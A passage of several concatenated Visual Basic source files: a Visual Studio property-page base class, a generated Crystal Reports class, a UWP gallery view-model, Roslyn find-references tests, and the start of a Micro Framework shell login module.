values. ''' </summary> Private Function ScaleSize(ByVal startSize As Size, ByVal x As Single, ByVal y As Single) As Size If Not GetStyle(ControlStyles.FixedWidth) Then startSize.Width = CInt(Math.Round(startSize.Width * x)) End If If Not GetStyle(ControlStyles.FixedHeight) Then startSize.Height = CInt(Math.Round(startSize.Height * y)) End If Return startSize End Function ''' <summary> ''' Causes the property descriptors to refresh their cache of standard values ''' </summary> ''' <remarks></remarks> Protected Overridable Sub RefreshPropertyStandardValues() 'This can be accomplished by doing a GetProperty on the objects in question. They'll automatically ' update the caches of related PropertyDescriptors Try 'Do this for the objects passed in to SetObjects as well as the common properties Dim ExtendedObjects(m_ExtendedObjects.Length + 1 - 1) As Object '+1 for common properties object m_ExtendedObjects.CopyTo(ExtendedObjects, 0) ExtendedObjects(ExtendedObjects.Length - 1) = CommonPropertiesObject Dim ObjectsPropertyDescriptorsArray(ExtendedObjects.Length - 1) As PropertyDescriptorCollection For i As Integer = 0 To ExtendedObjects.Length - 1 Debug.Assert(ExtendedObjects(i) IsNot Nothing) If TypeOf ExtendedObjects(i) Is ICustomTypeDescriptor Then ObjectsPropertyDescriptorsArray(i) = CType(ExtendedObjects(i), ICustomTypeDescriptor).GetProperties(New Attribute() {}) Else ObjectsPropertyDescriptorsArray(i) = System.ComponentModel.TypeDescriptor.GetProperties(ExtendedObjects(i)) End If 'We don't actually need to do anything with the properties that we got, we can throw them away. ' Just the act of retrieving them causes all property descriptors for that object to refresh Next i Catch ex As Exception When Not Common.IsUnrecoverable(ex) Debug.Fail("An exception was thrown trying to get extended objects for the properties to refresh their standard values" & vbCrLf & ex.ToString) 'Ignore End Try End Sub ''' <include file='doc\Form.uex' path='docs/doc[@for="Form.ProcessDialogKey"]/*' /> ''' <devdoc> ''' Processes a dialog key. Overrides Control.processDialogKey(). For forms, this ''' method would implement handling of the RETURN, and ESCAPE keys in dialogs. ''' The method performs no processing on keys that include the ALT or ''' CONTROL modifiers. ''' </devdoc> Protected Overrides Function ProcessDialogKey(ByVal keyData As System.Windows.Forms.Keys) As Boolean If (keyData And (Keys.Alt Or Keys.Control)) = Keys.None Then Dim keyCode As Keys = keyData And Keys.KeyCode Select Case keyCode Case Keys.Return 'User pressed <RETURN>. If the currently control is a button, then we must click it. This is ' normally handled by the form's ProcessDialogKey, but since there is no form involved in the ' modeless case (just this user control hosted inside a native window), we must handle it here. If ParentForm Is Nothing AndAlso ActiveControl IsNot Nothing AndAlso TypeOf ActiveControl Is IButtonControl AndAlso ActiveControl.Focused Then DirectCast(ActiveControl, IButtonControl).PerformClick() Return True 'We handled the message End If 'User pressed <RETURN> on a textbox? Then commit his/her changes. '...But only if the currently active, focused control is a TextBox (not a derived class), and ' the form is dirty, and it's immediate commit and not in a dialog, and it's not a multi-line ' textbox. If ParentForm Is Nothing _ AndAlso m_Site IsNot Nothing AndAlso m_Site.IsImmediateApply() _ AndAlso ActiveControl IsNot Nothing _ AndAlso ActiveControl.GetType() Is GetType(TextBox) _ AndAlso ActiveControl.Focused _ AndAlso ActiveControl.Enabled _ AndAlso Not CType(ActiveControl, TextBox).Multiline _ Then If Me.IsDirty Then Common.Switches.TracePDProperties(TraceLevel.Warning, "*** ENTER pressed, calling SetDirty(True) on page") SetDirty(True) End If Return True 'We handled the message End If End Select End If Return MyBase.ProcessDialogKey(keyData) End Function <EditorBrowsable(EditorBrowsableState.Advanced)> _ Protected Overrides Sub WndProc(ByRef m As Message) If m.Msg = Microsoft.VisualStudio.Editors.Common.WmUserConstants.WM_PAGE_POSTVALIDATION Then If m_delayValidationGroup >= 0 AndAlso m_activated AndAlso Not m_inDelayValidation AndAlso Not IsFocusInControlGroup(m_delayValidationGroup) Then ProcessDelayValidationQueue(False) End If Else MyBase.WndProc(m) End If End Sub ''' <summary> ''' Gets the F1 keyword to push into the user context for this property page ''' </summary> ''' <returns></returns> ''' <remarks></remarks> Private Function GetHelpContextF1Keyword() As String Implements IPropertyPageInternal.GetHelpContextF1Keyword Return GetF1HelpKeyword() End Function #Region "Disable during debug mode and build" ''' <summary> ''' Determines whether the entire property page should be disabled while building. Override to change default behavior. ''' </summary> ''' <value></value> ''' <remarks></remarks> Protected Overridable ReadOnly Property DisableOnBuild() As Boolean Get Return True End Get End Property ''' <summary> ''' Determines whether the entire property page should be disabled while in debugging mode. Override to change default behavior. ''' </summary> ''' <value></value> ''' <remarks></remarks> Protected Overridable ReadOnly Property DisableOnDebug() As Boolean Get Return True End Get End Property ''' <summary> ''' Determines if the given mode should cause us to be disabled. ''' </summary> ''' <returns></returns> ''' <remarks></remarks> Protected Overridable Function DisableWhenDebugMode(ByVal mode As DBGMODE) As Boolean Return (mode <> DBGMODE.DBGMODE_Design) End Function ''' <summary> ''' Hook up with the debugger event mechanism to determine current debug mode ''' </summary> ''' <remarks></remarks> Private Sub ConnectDebuggerEvents() If DisableOnDebug AndAlso ServiceProvider IsNot Nothing AndAlso m_VsDebuggerEventsCookie = 0 Then If m_VsDebugger Is Nothing Then m_VsDebugger = CType(ServiceProvider.GetService(GetType(IVsDebugger)), IVsDebugger) End If If m_VsDebugger IsNot Nothing Then VSErrorHandler.ThrowOnFailure(m_VsDebugger.AdviseDebuggerEvents(Me, m_VsDebuggerEventsCookie)) Dim mode As DBGMODE() = New DBGMODE() {DBGMODE.DBGMODE_Design} 'Get the current mode VSErrorHandler.ThrowOnFailure(m_VsDebugger.GetMode(mode)) UpdateDebuggerStatus(mode(0)) Else Debug.Fail("Cannot obtain IVsDebugger from shell") UpdateDebuggerStatus(DBGMODE.DBGMODE_Design) End If End If End Sub ''' <summary> ''' Unhook event notification for debugger ''' </summary> ''' <remarks></remarks> Private Sub DisconnectDebuggerEvents() If m_VsDebugger IsNot Nothing AndAlso m_VsDebuggerEventsCookie <> 0 Then VSErrorHandler.ThrowOnFailure(m_VsDebugger.UnadviseDebuggerEvents(m_VsDebuggerEventsCookie)) m_VsDebuggerEventsCookie = 0 End If m_VsDebugger = Nothing End Sub ''' <summary> ''' Hook up event notifications for broadcast messages (e.g. font/size changes) ''' </summary> ''' <remarks></remarks> Private Sub ConnectBroadcastMessages() If ManualPageScaling Then 'Not need if we're not automatically scaling the page Exit Sub End If If m_CookieBroadcastMessages = 0 AndAlso m_VsShellForUnadvisingBroadcastMessages Is Nothing Then If ServiceProvider IsNot Nothing Then m_VsShellForUnadvisingBroadcastMessages = DirectCast(ServiceProvider.GetService(GetType(IVsShell)), IVsShell) End If If m_VsShellForUnadvisingBroadcastMessages IsNot Nothing Then VSErrorHandler.ThrowOnFailure(m_VsShellForUnadvisingBroadcastMessages.AdviseBroadcastMessages(Me, m_CookieBroadcastMessages)) Else Debug.Fail("Unable to get IVsShell for broadcast messages") End If End If End Sub ''' <summary> ''' Unhook event notifications for broadcast messages (e.g. font/size changes) ''' </summary> ''' <remarks></remarks> Private Sub DisconnectBroadcastMessages() If m_CookieBroadcastMessages <> 0 AndAlso m_VsShellForUnadvisingBroadcastMessages IsNot Nothing Then VSErrorHandler.ThrowOnFailure(m_VsShellForUnadvisingBroadcastMessages.UnadviseBroadcastMessages(m_CookieBroadcastMessages)) m_CookieBroadcastMessages = 0 End If m_VsShellForUnadvisingBroadcastMessages = Nothing End Sub ''' <summary> ''' Enable or disable the page based on debug mode ''' </summary> ''' <param name="mode"></param> ''' <remarks></remarks> Private Sub UpdateDebuggerStatus(ByVal mode As DBGMODE) m_CurrentDebugMode = mode If DisableOnDebug AndAlso DisableWhenDebugMode(mode) Then m_PageEnabledPerDebugMode = False Else m_PageEnabledPerDebugMode = True End If SetEnabledState() End Sub ''' <summary> ''' A build has started - disable/enable page ''' </summary> ''' <param name="scope"></param> ''' <param name="action"></param> ''' <remarks></remarks> Private Sub BuildBegin(ByVal scope As EnvDTE.vsBuildScope, ByVal action As EnvDTE.vsBuildAction) Handles m_buildEvents.OnBuildBegin Debug.Assert(DisableOnBuild, "Why did we get a BuildBegin event when we shouldn't be listening?") m_PageEnabledPerBuildMode = False SetEnabledState() End Sub ''' <summary> ''' A build has finished - disable/enable page ''' </summary> ''' <param name="scope"></param> ''' <param name="action"></param> ''' <remarks></remarks> Private Sub BuildDone(ByVal scope As EnvDTE.vsBuildScope, ByVal action As EnvDTE.vsBuildAction) Handles m_buildEvents.OnBuildDone Debug.Assert(DisableOnBuild, "Why did we get a BuildDone event when we shouldn't be listening?") m_PageEnabledPerBuildMode = True SetEnabledState() End Sub ''' <summary> ''' Start listening to build events and set our initial build status ''' </summary> ''' <remarks></remarks> Private Sub ConnectBuildEvents() If Me.DisableOnBuild Then If m_DTE IsNot Nothing Then m_buildEvents = Me.m_DTE.Events.BuildEvents ' We only hook up build events if we have to... Dim monSel As IVsMonitorSelection = DirectCast(GetServiceFromPropertyPageSite(GetType(IVsMonitorSelection)), IVsMonitorSelection) If monSel IsNot Nothing Then Dim solutionBuildingCookie As UInteger monSel.GetCmdUIContextCookie(New System.Guid(UIContextGuids.SolutionBuilding), solutionBuildingCookie) Dim isActiveFlag As Integer monSel.IsCmdUIContextActive(solutionBuildingCookie, isActiveFlag) m_PageEnabledPerBuildMode = Not CBool(isActiveFlag) Else Debug.Fail("No service provider - we don't know if we are building (assuming not)") m_PageEnabledPerBuildMode = True End If Else Debug.Fail("No DTE - can't hook up build events - we don't know if start/stop building...") m_PageEnabledPerBuildMode = True End If 'BUGFIX: Dev11#45255 SetEnabledState() End If End Sub ''' <summary> ''' Stop listening for build events ''' </summary> ''' <remarks></remarks> Private Sub DisconnectBuildEvents() m_buildEvents = Nothing End Sub #End Region #Region "Property change listening" ''' <summary> ''' Start listening to project property change notifications ''' </summary> ''' <remarks></remarks> Private Sub ConnectPropertyNotify() 'Unhook all old property notification sinks DisconnectPropertyNotify() #If DEBUG Then Dim i As Integer = 0 #End If For Each Obj As Object In m_Objects Dim DebugSourceName As String = Nothing 'For retail, an empty source name is fine #If DEBUG Then 'Get a reasonable name for the source in debug mode (for tracing) DebugSourceName = "Objects #" & i If m_fConfigurationSpecificPage Then Try 'Get the configuration's name Dim Cfg As IVsCfg = TryCast(Obj, IVsCfg) If Cfg IsNot Nothing Then Cfg.get_DisplayName(DebugSourceName) End If Catch ex As Exception When Not Common.IsUnrecoverable(ex) End Try Else DebugSourceName &= " (Common Properties - non-config page)" End If i += 1 #End If AttemptConnectPropertyNotifyObject(Obj, DebugSourceName) Next If m_fConfigurationSpecificPage Then 'Also need to listen to changes on common properties (only needed for config-specific pages because ' for non-config-specific pages, m_Objects *is* the common properties object AttemptConnectPropertyNotifyObject(CommonPropertiesObject, "Common Project Properties") End If End Sub ''' <summary> ''' Attempts to hook up IPropertyNotifySink to the given object. Ignored if it ''' fails or is not supported for that object. ''' </summary> ''' <param name="EventSource">The object to try listening to property changes on.</param> ''' <param name="DebugSourceName">A debug name for the source</param> ''' <remarks></remarks> Private Sub AttemptConnectPropertyNotifyObject(ByVal EventSource As Object, ByVal DebugSourceName As String) Dim Listener As PropertyListener = PropertyListener.TryCreate(Me, EventSource, DebugSourceName, m_ProjectHierarchy, TypeOf EventSource Is IVsCfgBrowseObject) If Listener IsNot Nothing Then m_PropertyListeners.Add(Listener) End If End Sub ''' <summary> ''' Stop listening to project property change notifications ''' </summary> 'we persist this without the root namespace ''' <remarks></remarks> Private Sub DisconnectPropertyNotify() For Each Listener As PropertyListener In m_PropertyListeners Listener.Dispose() Next m_PropertyListeners.Clear() End Sub ''' <summary> ''' Called by a PropertyListener to update a property's UI from the current value when it has been changed by code other ''' than direct manipulation by the user via the property page. ''' Notifies a sink that the [bindable] property specified by dispID has changed. If dispID is ''' DISPID_UNKNOWN, then multiple properties have changed together. The client (owner of the sink) ''' should then retrieve the current value of each property of interest from the object that ''' generated the notification. ''' </summary> ''' <param name="DISPID">[in] Dispatch identifier of the property that changed, or DISPID_UNKNOWN if multiple properties have changed.</param> ''' <remarks> ''' S_OK is returned in all cases even when the sink does not need [bindable] properties or when some ''' other failure has occurred. In short, the calling object simply sends the notification and cannot ''' attempt to use an error code (such as E_NOTIMPL) to determine whether to not send the notification ''' in the future. Such semantics are not part of this interface. ''' </remarks> Public Sub OnExternalPropertyChanged(ByVal DISPID As Integer, ByVal DebugSourceName As String) Common.Switches.TracePDProperties(TraceLevel.Verbose, "[" & Me.GetType.Name & "] External property changed: DISPID=" & DISPID & ", Source=" & DebugSourceName) If m_fInsideInit Then Exit Sub End If 'Are we currently in the process of changing this exact property through PropertyControlData? If so, the change should normally ' be ignored. Dim SuspendAllChanges As Boolean = m_SuspendPropertyChangeListeningDispIds.Contains(DISPID_UNKNOWN) Dim ChangeIsDirect As Boolean = SuspendAllChanges _ OrElse (DISPID <> DISPID_UNKNOWN AndAlso m_SuspendPropertyChangeListeningDispIds.Contains(DISPID)) Debug.Assert(Common.Utils.Implies(m_fIsApplying, PropertyOnPageBeingChanged()), "If we're applying, the change should have come through a PropertyControlData") Dim Source As PropertyChangeSource = PropertyChangeSource.External Dim IsInternalToPage As Boolean = ChangeIsDirect OrElse Me.PropertyOnPageBeingChanged() OrElse m_fIsApplying If ChangeIsDirect Then Debug.Assert(Me.PropertyOnPageBeingChanged() OrElse m_fIsApplying) Common.Switches.TracePDProperties(TraceLevel.Verbose, " (Direct - property is being changed by this page itself)") Source = PropertyChangeSource.Direct Else If IsInternalToPage Then Source = PropertyChangeSource.Indirect End If End If Common.Switches.TracePDProperties(TraceLevel.Verbose, " Source=" & Source.ToString()) If IsInternalToPage Then 'We don't want to send the notification now - this might mess up the UI for properties ' which are still dirty and need to have their current values intact in order to be ' correctly applied. Queue this notification for later. If m_CachedPropertyChanges Is Nothing Then m_CachedPropertyChanges = New List(Of PropertyChange) End If m_CachedPropertyChanges.Add(New PropertyChange(DISPID, Source)) Else 'Safe to send the notification now OnExternalPropertyChanged(DISPID, Source) End If End Sub ''' <summary> ''' Called whenever the property page detects that a property defined on this property page is changed in the ''' project system. Property changes made directly by an apply or through PropertyControlData will not come ''' through this method. ''' </summary> ''' <param name="DISPID">[in] Dispatch identifier of the property that changed, or DISPID_UNKNOWN if multiple properties have changed.</param> ''' <param name="Source">The source/cause of the property change.</param> ''' <remarks> ''' The default implementation OnExternalPropertyChanged(PropertyControlData, Source) if it finds a PropertyControlData ''' with the given DISPID. ''' </remarks> Protected Overridable Sub OnExternalPropertyChanged(ByVal DISPID As Integer, ByVal Source As PropertyChangeSource) Common.Switches.TracePDProperties(TraceLevel.Verbose, "OnExternalPropertyChanged(DISPID=" & DISPID & ", Source=" & Source.ToString() & ")") 'Go through all the properties on the page to see if any match the DISPID that changed. For Each Data As PropertyControlData In ControlData If Data.DispId = DISPID OrElse DISPID = Interop.win.DISPID_UNKNOWN Then OnExternalPropertyChanged(Data, Source) If Data.DispId <> Interop.win.DISPID_UNKNOWN Then 'If the DISPID was a specific value, we only have one specific property to update, otherwise ' we need to continue for all properties. Return End If End If Next Common.Switches.TracePDProperties(TraceLevel.Verbose, " Did not find matching PropertyControlData on this page - ignoring.") End Sub ''' <summary> ''' Called whenever the property page detects that a property defined on this property page is changed in the ''' project system. Property changes made directly by an apply or through PropertyControlData will not come ''' through this method. ''' </summary> ''' <param name="Data">[in] The PropertyControlData for the property that changed.</param> ''' <param name="Source">The source/cause of the property change.</param> ''' <remarks> ''' The default implementation calls RefreshProperty if the Source is not Direct. ''' </remarks> Protected Overridable Sub OnExternalPropertyChanged(ByVal Data As PropertyControlData, ByVal Source As PropertyChangeSource) If Source <> PropertyChangeSource.Direct Then Data.RefreshValue() End If End Sub ''' <summary> ''' Checks if it's time to "play" the cached external property change notifications ''' that were queued up during an apply or property change. If so, then it ''' sends those notifications off. ''' </summary> ''' <remarks></remarks> Private Sub CheckPlayCachedPropertyChanges() Common.Switches.TracePDProperties(TraceLevel.Verbose, "PlayCachedPropertyChanges()") If m_fIsApplying OrElse PropertyOnPageBeingChanged() Then Common.Switches.TracePDProperties(TraceLevel.Verbose, "... Ignoring - IsApplying=" & m_fIsApplying & ", PropertyOnPageBeingChanged=" & PropertyOnPageBeingChanged()) Return End If If m_CachedPropertyChanges IsNot Nothing Then For Each Change As PropertyChange In m_CachedPropertyChanges Try 'These are all internal to the page, since they were ' queued up because they occurred during an apply OnExternalPropertyChanged(Change.DispId, Change.Source) Catch ex As Exception When Not Common.Utils.IsUnrecoverable(ex) ShowErrorMessage(ex) End Try Next m_CachedPropertyChanges = Nothing End If End Sub ''' <summary> ''' Notifies a sink that a [requestedit] property is about to change and that the object is asking the sink how to proceed. ''' </summary> ''' <param name="DISPID"></param> ''' <remarks> ''' S_OK - The specified property or properties are allowed to change. ''' S_FALSE - The specified property or properties are not allowed to change. The caller must obey this return value by discarding the new property value(s). This is part of the contract of the [requestedit] attribute and this method. ''' ''' The sink may choose to allow or disallow the change to take place. For example, the sink may enforce a read-only state ''' on the property. DISPID_UNKNOWN is a valid parameter to this method to indicate that multiple properties are about to ''' change. In this case, the sink can enforce a global read-only state for all [requestedit] properties in the object, ''' including any specific ones that the sink otherwise recognizes. ''' ''' If the sink allows changes, the object must also make IPropertyNotifySink::OnChanged notifications for any properties ''' that are marked [bindable] in addition to [requestedit]. ''' ''' This method cannot be used to implement any sort of data validation. At the time of the call, the desired new value of ''' the property is unavailable and thus cannot be validated. This method's only purpose is to allow the sink to enforce ''' a read-only state on a property. ''' </remarks> Public Sub OnExternalPropertyRequestEdit(ByVal DISPID As Integer, ByVal DebugSourceName As String) 'Nothing to do End Sub #End Region ''' <summary> ''' Used for debug tracing of OnLayout events... ''' </summary> ''' <param name="levent"></param> ''' <remarks></remarks> Protected Overrides Sub OnLayout(ByVal levent As System.Windows.Forms.LayoutEventArgs) Common.Switches.TracePDPerfBegin(levent, "PropPageUserControlBase.OnLayout()") MyBase.OnLayout(levent) Common.Switches.TracePDPerfEnd("PropPageUserControlBase.OnLayout()") End Sub End Class End Namespace
'------------------------------------------------------------------------------ ' <auto-generated> ' This code was generated by a tool. ' Runtime Version:2.0.50727.8794 ' ' Changes to this file may cause incorrect behavior and will be lost if ' the code is regenerated. ' </auto-generated> '------------------------------------------------------------------------------ Option Strict Off Option Explicit On Imports CrystalDecisions.CrystalReports.Engine Imports CrystalDecisions.ReportSource Imports CrystalDecisions.Shared Imports System Imports System.ComponentModel Public Class CrHisRequest Inherits ReportClass Public Sub New() MyBase.New End Sub Public Overrides Property ResourceName() As String Get Return "CrHisRequest.rpt" End Get Set 'Do nothing End Set End Property Public Overrides Property NewGenerator() As Boolean Get Return true End Get Set 'Do nothing End Set End Property Public Overrides Property FullResourceName() As String Get Return "HospitalMS.CrHisRequest.rpt" End Get Set 'Do nothing End Set End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property Section1() As CrystalDecisions.CrystalReports.Engine.Section Get Return Me.ReportDefinition.Sections(0) End Get End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property Section2() As CrystalDecisions.CrystalReports.Engine.Section Get Return Me.ReportDefinition.Sections(1) End Get End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property GroupHeaderSection1() As CrystalDecisions.CrystalReports.Engine.Section Get Return Me.ReportDefinition.Sections(2) End Get End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property GroupHeaderSection2() As CrystalDecisions.CrystalReports.Engine.Section Get Return Me.ReportDefinition.Sections(3) End Get End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property Section3() As CrystalDecisions.CrystalReports.Engine.Section Get Return Me.ReportDefinition.Sections(4) End Get End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property GroupFooterSection2() As CrystalDecisions.CrystalReports.Engine.Section Get Return Me.ReportDefinition.Sections(5) End Get End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property GroupFooterSection1() As CrystalDecisions.CrystalReports.Engine.Section Get Return Me.ReportDefinition.Sections(6) End Get End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property Section4() As CrystalDecisions.CrystalReports.Engine.Section Get Return Me.ReportDefinition.Sections(7) End Get End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property Section5() As CrystalDecisions.CrystalReports.Engine.Section Get Return Me.ReportDefinition.Sections(8) End Get End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property Parameter_DepartName() As CrystalDecisions.[Shared].IParameterField Get Return Me.DataDefinition.ParameterFields(0) End Get End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property Parameter_FromDate() As CrystalDecisions.[Shared].IParameterField Get Return Me.DataDefinition.ParameterFields(1) End Get End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property Parameter_ToDate() As CrystalDecisions.[Shared].IParameterField Get Return Me.DataDefinition.ParameterFields(2) End Get End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property Parameter_Status() As CrystalDecisions.[Shared].IParameterField Get Return Me.DataDefinition.ParameterFields(3) End Get End Property End Class <System.Drawing.ToolboxBitmapAttribute(GetType(CrystalDecisions.[Shared].ExportOptions), "report.bmp")> _ Public Class CachedCrHisRequest Inherits Component Implements ICachedReport Public Sub New() MyBase.New End Sub <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public Overridable Property IsCacheable() As Boolean Implements CrystalDecisions.ReportSource.ICachedReport.IsCacheable Get Return true End Get Set ' End Set End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public Overridable Property ShareDBLogonInfo() As Boolean Implements CrystalDecisions.ReportSource.ICachedReport.ShareDBLogonInfo Get Return false End Get Set ' End Set End Property <Browsable(false), _ DesignerSerializationVisibilityAttribute(System.ComponentModel.DesignerSerializationVisibility.Hidden)> _ Public Overridable Property CacheTimeOut() As System.TimeSpan Implements CrystalDecisions.ReportSource.ICachedReport.CacheTimeOut Get Return CachedReportConstants.DEFAULT_TIMEOUT End Get Set ' End Set End Property Public Overridable Function CreateReport() As CrystalDecisions.CrystalReports.Engine.ReportDocument Implements CrystalDecisions.ReportSource.ICachedReport.CreateReport Dim rpt As CrHisRequest = New CrHisRequest rpt.Site = Me.Site Return rpt End Function Public Overridable Function GetCustomizedCacheKey(ByVal request As RequestContext) As String Implements CrystalDecisions.ReportSource.ICachedReport.GetCustomizedCacheKey Dim key As [String] = Nothing '// The following is the code used to generate the default '// cache key for caching report jobs in the ASP.NET Cache. '// Feel free to modify this code to suit your needs. '// Returning key == null causes the default cache key to '// be generated. ' 'key = RequestContext.BuildCompleteCacheKey( ' request, ' null, // sReportFilename ' this.GetType(), ' this.ShareDBLogonInfo ); Return key End Function End Class
Imports Windows.Storage Imports Windows.UI.Xaml.Media.Animation Imports Param_ItemNamespace.Helpers Imports Param_ItemNamespace.Models Imports Param_ItemNamespace.Services Namespace ViewModels Public Class ImageGalleryViewViewModel Inherits System.ComponentModel.INotifyPropertyChanged Public Const ImageGalleryViewSelectedIdKey As String = "ImageGalleryViewSelectedIdKey" Public Const ImageGalleryViewAnimationOpen As String = "ImageGalleryView_AnimationOpen" Public Const ImageGalleryViewAnimationClose As String = "ImageGalleryView_AnimationClose" Private _source As ObservableCollection(Of SampleImage) Private _imagesGridView As GridView Public Property Source As ObservableCollection(Of SampleImage) Get Return _source End Get Set [Param_Setter](_source, value) End Set End Property Public ReadOnly Property ItemSelectedCommand As ICommand = new RelayCommand(Of ItemClickEventArgs)(Sub(args) OnsItemSelected(args)) Public Sub New() ' TODO WTS: Replace this with your actual data Source = SampleDataService.GetGallerySampleData() End Sub Public Sub Initialize(imagesGridView As GridView) _imagesGridView = imagesGridView End Sub Public Async Function LoadAnimationAsync() As Task Dim selectedImageId = ImagesNavigationHelper.GetImageId(ImageGalleryViewSelectedIdKey) If Not String.IsNullOrEmpty(selectedImageId) Then Dim animation = ConnectedAnimationService.GetForCurrentView().GetAnimation(ImageGalleryViewAnimationClose) If animation IsNot Nothing Then Dim item = _imagesGridView.Items.FirstOrDefault(Function(i) DirectCast(i, SampleImage).ID = selectedImageId) _imagesGridView.ScrollIntoView(item) Await _imagesGridView.TryStartConnectedAnimationAsync(animation, item, "galleryImage") End If ImagesNavigationHelper.RemoveImageId(ImageGalleryViewSelectedIdKey) End If End Function End Class End Namespace
Public Partial Class TextField Inherits System.Web.DynamicData.FieldTemplateUserControl Private Const MAX_DISPLAYLENGTH_IN_LIST As Integer = 25 Public Overrides ReadOnly Property FieldValueString() As String Get Dim value As String = MyBase.FieldValueString If ContainerType = DynamicData.ContainerType.List Then If value IsNot Nothing AndAlso value.Length > MAX_DISPLAYLENGTH_IN_LIST Then value = (value.Substring(0, MAX_DISPLAYLENGTH_IN_LIST - 3) & "...") End If End If Return value End Get End Property Public Overrides ReadOnly Property DataControl() As Control Get Return Literal1 End Get End Property End Class
' Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. Imports System.Threading.Tasks Namespace Microsoft.CodeAnalysis.Editor.UnitTests.FindReferences Partial Public Class FindReferencesTests <WorkItem(541167, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/541167")> <Fact, Trait(Traits.Feature, Traits.Features.FindReferences)> Public Async Function TestExtensionMethodToDelegateConversion() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document><![CDATA[ using System; using System.Linq; class Program { static void Main() { Func<int> x = "".[|$$Count|], y = "".[|Count|]; } }]]> </Document> </Project> </Workspace> Await TestAsync(input) End Function <WorkItem(541697, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/541697")> <Fact, Trait(Traits.Feature, Traits.Features.FindReferences)> Public Async Function TestReducedExtensionMethod1() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document><![CDATA[ using System; class Program { static void Main(string[] args) { string s = "Hello"; s.[|$$ExtensionMethod|](); } } public static class MyExtension { public static int {|Definition:ExtensionMethod|}(this String s) { return s.Length; } } ]]> </Document> </Project> </Workspace> Await TestAsync(input) End Function <WorkItem(541697, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/541697")> <Fact, Trait(Traits.Feature, Traits.Features.FindReferences)> Public Async Function TestReducedExtensionMethod2() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document><![CDATA[ using System; class Program { static void Main(string[] args) { string s = "Hello"; s.[|ExtensionMethod|](); } } public static class MyExtension { public static int {|Definition:$$ExtensionMethod|}(this String s) { return s.Length; } } ]]> </Document> </Project> </Workspace> Await TestAsync(input) End Function #Region "Normal Visual Basic Tests" <Fact, Trait(Traits.Feature, Traits.Features.FindReferences)> Public Async Function TestVisualBasicFindReferencesOnExtensionMethod() As Task Dim input = <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document><![CDATA[ Imports System Namespace System.Runtime.CompilerServices <AttributeUsage(AttributeTargets.Method Or AttributeTargets.Property Or AttributeTargets.Class Or AttributeTargets.Assembly)> Public Class ExtensionAttribute Inherits Attribute End Class End Namespace Class Program Private Shared Sub Main(args As String()) Dim s As String = "Hello" s.[|ExtensionMethod|]() End Sub End Class Module MyExtension <System.Runtime.CompilerServices.Extension()> _ Public Function {|Definition:$$ExtensionMethod|}(s As [String]) As Integer Return s.Length End Function End Module]]> </Document> </Project> </Workspace> Await TestAsync(input) End Function #End Region End Class End Namespace
Imports System Imports Microsoft.SPOT ' Copyright 2012-2014 Stefan Thoolen (http://www.netmftoolbox.com/) ' ' Licensed under the Apache License, Version 2.0 (the "License"); ' you may not use this file except in compliance with the License. ' You may obtain a copy of the License at ' ' http://www.apache.org/licenses/LICENSE-2.0 ' ' Unless required by applicable law or agreed to in writing, software ' distributed under the License is distributed on an "AS IS" BASIS, ' WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ' See the License for the specific language governing permissions and ' limitations under the License. Namespace Programs Public Class Auth ''' <summary> ''' Stores the last username ''' </summary> Private _Username As String = "" ''' <summary> ''' Set to true when we logged in ''' </summary> Private _Authorized As Boolean = False ''' <summary> ''' Amount of password retries (default: 3) ''' </summary> Public Property Retries As Integer ''' <summary> ''' The shell ''' </summary> Private _Shell As ShellCore ''' <summary> ''' Creates a new authorization module ''' </summary> ''' <param name="Shell">Shell to bind to</param> Public Sub New(Shell As ShellCore) ' Sets some default values Me.Retries = 3 Me.TimeToLogin = 0 Me._Shell = Shell ' Binds to the shell AddHandler Shell.OnConnected, AddressOf Me._Shell_OnConnected AddHandler Shell.OnCommandReceived, AddressOf Me._Shell_OnCommandReceived End Sub ''' <summary> ''' Unbinds the shell ''' </summary> Public Sub Dispose() ' Unbinds from the shell RemoveHandler Me._Shell.OnCommandReceived, AddressOf Me._Shell_OnCommandReceived RemoveHandler Me._Shell.OnConnected, AddressOf Me._Shell_OnConnected End Sub ''' <summary> ''' Time to login in seconds 